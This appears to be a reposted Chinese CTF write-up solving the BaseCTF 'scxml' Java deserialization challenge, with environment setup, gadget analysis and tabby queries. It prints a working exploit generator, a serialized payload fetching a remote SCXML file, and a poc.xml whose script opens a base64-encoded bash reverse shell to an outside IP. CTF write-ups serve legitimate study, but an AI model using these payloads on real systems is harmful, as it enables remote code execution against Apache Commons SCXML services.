当前位置: 首页 > article >正文

BaseCTF scxml 详解

 视频教程在我主页简介和专栏里

 目录:

环境搭建

  jadx 反编译

  本题环境搭建

 题目分析

 番外

 

环境搭建,给的附件中就一个 Main.java 和四个 jar 包,借由这道题简单讲讲一般 CTFJAVA 题目的环境搭建

环境搭建

jadx 反编译

之前前面看的几道题由于都是 spring 环境,自己写的类也少,所以都是直接打开的 jar 包复制过去的, idea 会自动反编译 class 文件(当然只是不能保存为 java 文件而已,如果想要实现反编译并保存可以试试其插件)

直接用 jadx 打开整个文件夹,然后 ctrl+E 直接保存编译后的源代码,然后再用 idea 打开,不过这种一般有个问题,就是当反编译的文件太多的时候就会出现报错(因为打包时的各个环境不同,不能做到全部反编译也是很正常的),这种时候一般有三种方法

一、

慢慢修,也就是对照着 idea 中的 class 文件改。

二、

直接删除报错的 java 文件,然后引入原本的 jar 包当作依赖,不过这样就会 java 文件混子 class 文件,不推荐,因为之所以不用 class 文件就是因为全局搜方法的时候无法搜到。

但是如果知道需要什么方法,只需要简单看看代码其实不反编译也是可以的(这种对特别简单的题可以用,然后利用 tabby 直接寻找链子)。

三、

直接把那种一看就不是自己写的类之间用 maven 引入,看包名去 maven 上搜就知道该引入什么了。

总结、

以上方法其实还需要灵活应变,比如 maven 引入一些, jadx 反编译一些,有错的再用一来改。

本题环境搭建

再 lib 目录下有四个 jar 包

图片

一看就知道前三个是可以通过 maven 引入的,而最后一个是出题人自己写的,idea 打开看看,根据依赖,写入 pom.xml 中

<dependencies> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.1.3</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-jexl</artifactId> <version>2.1.1</version> <optional>true</optional> </dependency> <dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy</artifactId> <version>2.2.2</version> <optional>true</optional> </dependency> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> <optional>true</optional> </dependency> <dependency> <groupId>logkit</groupId> <artifactId>logkit</artifactId> <version>1.0.1</version> <optional>true</optional> </dependency> <dependency> <groupId>avalon-framework</groupId> <artifactId>avalon-framework</artifactId> <version>4.1.5</version> <optional>true</optional> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <version>2.3</version> <scope>provided</scope> <optional>true</optional> </dependency> <dependency> <groupId>org.apache.bsf</groupId> <artifactId>bsf-api</artifactId> <version>3.1</version> <scope>provided</scope> </dependency></dependencies>

然后其中 commons-scxml2 引入时显示在阿里镜像源仓库无法找到,去官方搜搜是不是有这个依赖,

图片

看到是有的,不过需要换一个镜像进行引入,最后所以依赖引入后我又把镜像改回去了,然后出问题了,到下载源码的时候这个 commons-scxml2 无法下载源码,造

但是好在其他的都能成功下载源码,那么就直接单独把这个 jar 包进行反编译修改掉报错就行了,

图片

题目分析

先看 Main.java 源码

import com.sun.net.httpserver.HttpServer; import javax.naming.InitialContext; import java.io.IOException; public class Main {  public static void main(String[] args) throws IOException {  var port = Integer.parseInt(System.getenv().getOrDefault("PORT", "9000"));  var server = HttpServer.create(new java.net.InetSocketAddress(port), 0);  server.createContext("/", req -> {  var code = 200;  var response = switch (req.getRequestURI().getPath()) {  case "/scxml" -> {  try {  var param = req.getRequestURI().getQuery();  yield new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString();  } catch (Throwable e) {  e.printStackTrace();  yield ":(";  }  }  default -> {  code = 404;  yield "Not found";  }  };  req.sendResponseHeaders(code, 0);  var os = req.getResponseBody();  os.write(response.getBytes());  os.close();  });  server.start();  System.out.printf("Server listening on :%s\n", port);  } }

看到在路由 /scxml 中存在一个反序列化,然后反序列化后还调用 tostring() 方法,在看看出题人自己定义的类

package com.n1ght; import java.io.Serializable; import java.util.Map; import org.apache.commons.scxml2.invoke.Invoker; import org.apache.commons.scxml2.invoke.InvokerException; /* loaded from: n1ght.jar:com/n1ght/InvokerImpl.class */ public class InvokerImpl implements Serializable {  private final Invoker o;  private final String source;  private final Map params;  public InvokerImpl(Invoker o, String source, Map params) {  this.o = o;  this.source = source;  this.params = params;  }  public String toString() {  try {  this.o.invoke(this.source, this.params);  return "success invoke";  } catch (InvokerException e) {  throw new RuntimeException((Throwable) e);  }  } }

刚好有 tostring 方法,不难知道这里就是入口了,看到在 tostring 中调用了 Invoker 接口类的 invoke 方法,搜索一番发现只有 SimpleSCXMLInvoker 类进行了继承,跟进到其 invoke 方法

图片

看不出什么所以然来,直接搜索 scxml 的 xxe 漏洞,

参考:https://pyn3rd.github.io/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/

给的 demo

图片

看到是通过 SCXMLReader.read 来进行连接获取 URL 中的 xml 资源,然后利用 executor.setStateMachine(scxml); 来进行加载资源,最后通过 executor.go() 执行获得的内容。

这里的 invoke 方法中刚好都有所以 poc

import com.n1ght.InvokerImpl; import org.apache.commons.scxml2.SCInstance; import org.apache.commons.scxml2.SCXMLExecutor; import org.apache.commons.scxml2.env.jexl.JexlEvaluator; import org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; public class exp {  public static void main(String[] args)throws Exception {  SimpleSCXMLInvoker simin=new SimpleSCXMLInvoker();  Constructor constructor = SCInstance.class.getDeclaredConstructor(SCXMLExecutor.class);  constructor.setAccessible(true);  SCInstance sci = constructor.newInstance(new SCXMLExecutor());  setValue(sci,"evaluator",new JexlEvaluator());  setValue(simin,"parentSCInstance",sci);  HashMap hashmap = new HashMap();  InvokerImpl in =new InvokerImpl(simin,"http://106.53.212.184:9001/poc.xml",hashmap);  try {  ByteArrayOutputStream out = new ByteArrayOutputStream();  ObjectOutputStream objout = new ObjectOutputStream(out);  objout.writeObject(in);  objout.close();  out.close();  byte[] ObjectBytes = out.toByteArray();  String base64EncodedValue = Base64.getEncoder().encodeToString(ObjectBytes);  System.out.println(base64EncodedValue);  } catch (Exception e) {  e.printStackTrace();  }  }  public static void setValue(Object obj,String fieldName,Object value) throws Exception {  Field field = obj.getClass().getDeclaredField(fieldName);  field.setAccessible(true);  field.set(obj,value);  } }

payload

rO0ABXNyABVjb20ubjFnaHQuSW52b2tlckltcGyTOSc2zqCsvwIAA0wAAW90ACpMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9pbnZva2UvSW52b2tlcjtMAAZwYXJhbXN0AA9MamF2YS91dGlsL01hcDtMAAZzb3VyY2V0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyADNvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLmludm9rZS5TaW1wbGVTQ1hNTEludm9rZXIAAAAAAAAAAQIABVoACWNhbmNlbGxlZEwAC2V2ZW50UHJlZml4cQB+AANMAAhleGVjdXRvcnQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDWE1MRXhlY3V0b3I7TAAQcGFyZW50U0NJbnN0YW5jZXQAJkxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDSW5zdGFuY2U7TAANcGFyZW50U3RhdGVJZHEAfgADeHAAcHBzcgAkb3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5TQ0luc3RhbmNlAAAAAAAAAAICAApMAAtjb21wbGV0aW9uc3EAfgACTAAIY29udGV4dHNxAH4AAkwACWV2YWx1YXRvcnQAJUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0V2YWx1YXRvcjtMAAhleGVjdXRvcnEAfgAGTAAJaGlzdG9yaWVzcQB+AAJMABRpbml0aWFsU2NyaXB0Q29udGV4dHQAI0xvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0NvbnRleHQ7TAAOaW52b2tlckNsYXNzZXNxAH4AAkwACGludm9rZXJzcQB+AAJMABRub3RpZmljYXRpb25SZWdpc3RyeXQAMExvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL05vdGlmaWNhdGlvblJlZ2lzdHJ5O0wAC3Jvb3RDb250ZXh0cQB+AAt4cHNyACVqYXZhLnV0aWwuQ29sbGVjdGlvbnMkU3luY2hyb25pemVkTWFwG3P5CUtLOXsDAAJMAAFtcQB+AAJMAAVtdXRleHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ABB4c3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgATeHNyADBvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLmVudi5qZXhsLkpleGxFdmFsdWF0b3IAAAAAAAAAAQIAAloAEGpleGxFbmdpbmVTaWxlbnRaABBqZXhsRW5naW5lU3RyaWN0eHAAAHNyACdvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlNDWE1MRXhlY3V0b3IAAAAAAAAAAQIACFoACXN1cGVyU3RlcEwADWN1cnJlbnRTdGF0dXN0ACJMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9TdGF0dXM7TAANZXJyb3JSZXBvcnRlcnQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0Vycm9yUmVwb3J0ZXI7TAAPZXZlbnRkaXNwYXRjaGVydAArTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvRXZlbnREaXNwYXRjaGVyO0wAA2xvZ3QAIExvcmcvYXBhY2hlL2NvbW1vbnMvbG9nZ2luZy9Mb2c7TAAKc2NJbnN0YW5jZXEAfgAHTAAJc2VtYW50aWNzdAAqTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvU0NYTUxTZW1hbnRpY3M7TAAMc3RhdGVNYWNoaW5ldAAnTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvbW9kZWwvU0NYTUw7eHABc3IAIG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU3RhdHVzAAAAAAAAAAECAAJMAAZldmVudHN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247TAAGc3RhdGVzdAAPTGphdmEvdXRpbC9TZXQ7eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hTZXS6RIWVlri3NAMAAHhwdwwAAAAQP0AAAAAAAAB4cHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmxvZ2dpbmcuaW1wbC5KZGsxNExvZ2dlckJmt5/gKqC8AgABTAAEbmFtZXEAfgADeHB0ACdvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlNDWE1MRXhlY3V0b3JzcQB+AAlzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ACt4c3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAteHBxAH4AHnNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AL3hwc3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAxeHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AM3hzcgAub3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5Ob3RpZmljYXRpb25SZWdpc3RyeQAAAAAAAAABAgABTAAEcmVnc3EAfgACeHBzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ADd4cHNyADZvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLnNlbWFudGljcy5TQ1hNTFNlbWFudGljc0ltcGwAAAAAAAAAAQIAAkwABmFwcExvZ3EAfgAbTAAQdGFyZ2V0Q29tcGFyYXRvcnQAQExvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL3NlbWFudGljcy9UcmFuc2l0aW9uVGFyZ2V0Q29tcGFyYXRvcjt4cHNxAH4AJ3QAKG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU0NYTUxTZW1hbnRpY3NzcgA+b3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5zZW1hbnRpY3MuVHJhbnNpdGlvblRhcmdldENvbXBhcmF0b3IAAAAAAAAAAQIAAHhwcHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AQHhwc3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgBCeHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4ARHhzcQB+ADVzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+AEd4cHBzcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4dAAiaHR0cDovLzEwNi41My4yMTIuMTg0OjkwMDEvcG9jLnhtbA==

成功弹出计算机

图片

题目上复现获得 flag

poc.xml​​​​​​​

<?xml version="1.0"?><scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"><state id="run"><onentry><script>''.getClass().forName('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41My4yMTIuMTg0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")</script></onentry></state></scxml>

图片

番外

其实一开始我是没用看到在反序列化后调用了 tostring 方法的,然后就自己试着去找怎么从 readObject 调用到 toString,还是简单说说思路吧,这里先直接从原生的类开始起手,不难想到 hashmap 的 readObject 可以,直接全局搜索 hashcode,看哪些的 hashcode 可以调用到 toString,发现太多了,找了一下就放弃了,

然后又是了一下 hashtable 的 readObject,可以调用到 get 方法,那么就从 get 找看哪些 get 方法可以调用到 toString 方法,发现一个 map 类差一点就能成功,可惜其 map 中的 key 和 value 的类型固定,key 不能为 Object 类型,而 get 中又是 key.toString()。

事后了解到了 tabby 静态代码分析工具,

配置参考下方附件

然后查找命令​​​​​​​

match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})match (sink:Method {NAME:"toString",CLASSNAME:"com.n1ght.InvokerImpl"})with source, collect(sink) as sinkscall tabby.algo.findJavaGadget(source,"someString",sinks[0], 12, false) yield pathreturn path limit 1

图片

看到通过其强大的污点分析功能得到了一条链子,但是后面试了一下是错的。

同样搜索从 hashtable 的 readobject 到 tostring 一样的有一条链子,但是没有试过。​​​​​​​

match (source:Method {NAME:"readObject",CLASSNAME:"java.util.Hashtable"})match (sink:Method {NAME:"toString",CLASSNAME:"com.n1ght.InvokerImpl"})with source, collect(sink) as sinkscall tabby.algo.findJavaGadget(source,"someString",sinks[0], 12, false) yield pathreturn path limit 1

图片

 

 视频教程在我主页简介和专栏里

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关  

 


http://www.kler.cn/a/471323.html

相关文章:

  • Blazor用户身份验证状态详解
  • 更换WordPress主题的基础知识及注意事项
  • 外驱功率管电流型PWM控制芯片CRE6281B1
  • QT-TCP-server
  • 计算机网络学习
  • 数值分析速成复习笔记
  • 基于COT(Chain-of-Thought Prompt)的教学应用:如何通过思维链提示提升模型推理能力
  • 107周二复盘 (185)Demo打包
  • 内置AI与浏览器的开源终端Wave Terminal安装与远程连接内网服务器教程
  • C语言字符串函数详解
  • Pytest-Bdd-Playwright 系列教程(18):使用 Jinja2 钩子函数生成自定义测试报告
  • Postman接口测试04|批量运行测试用例、参数化、Mock Server、Cookie鉴权、Newman生成测试报告
  • JNPF 低代码技术架构与核心组件深度剖析
  • 大模型LLM-Prompt-TRACE
  • Springboot 读写分离
  • Ollama + FastGPT搭建本地私有企业级AI知识库 (Linux)
  • php将word转换为pdf
  • 使用Oracle的RPM包在Linux上安装MYSQL
  • 《探索 OpenCV 4.10.0:计算机视觉领域的璀璨新星》
  • docker学习记录:本地部署mongodb
  • K8S集群更新api-sever证书的SAN属性
  • 【11_只出现一次的数字】
  • flink的EventTime和Watermark
  • Couldn‘t resolve host name for http://mirrorlist.centos.org
  • 《Swift 结构体》
  • 基于SMT32U575RIT单片机-中断练习